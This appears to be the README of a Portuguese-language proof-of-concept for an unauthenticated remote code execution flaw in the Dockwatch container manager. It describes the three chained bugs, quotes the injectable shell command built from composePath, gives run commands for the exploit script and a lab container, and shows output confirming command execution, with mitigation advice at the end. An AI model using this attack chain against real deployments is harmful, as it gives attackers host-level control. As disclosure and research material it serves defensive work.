
PoC para CVE-2026-58455: RCE sem autenticação no Dockwatch <=0.6.567. Python apenas com stdlib.
Prova de conceito para CVE-2026-58455: execução remota de código não autenticada no Dockwatch (da Notifiarr), uma interface web de gerenciamento de contêineres Docker auto-hospedada. Afeta todas as versões até 0.6.567.
Três falhas encadeadas:
GET /includes/header.php executa
$_SESSION['IN_DOCKWATCH'] = true; para qualquer visitante. A camada AJAX
(ajax/shared.php) verifica apenas essa flag.exit() após o redirecionamento de autenticação — loader.php envia um
cabeçalho Location: login.php quando $_SESSION['authenticated'] é falso, mas não
encerra a execução, então o restante da requisição continua rodando.ajax/compose.php (m=composePull) constrói um comando
shell com entrada não sanitizada:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
Encadeadas: um atacante remoto não autenticado executa comandos arbitrários do SO como o usuário
do servidor web dentro do contêiner. Implantações típicas montam /var/run/docker.sock no
contêiner → equivalente a root no host.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Apenas stdlib do Python 3.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Atualize o Dockwatch para uma versão mais recente que a 0.6.567. Como mitigação, não exponha o Dockwatch a redes não confiáveis e remova o bind do socket Docker se não for necessário.
Apenas para pesquisa de segurança autorizada e uso em laboratório.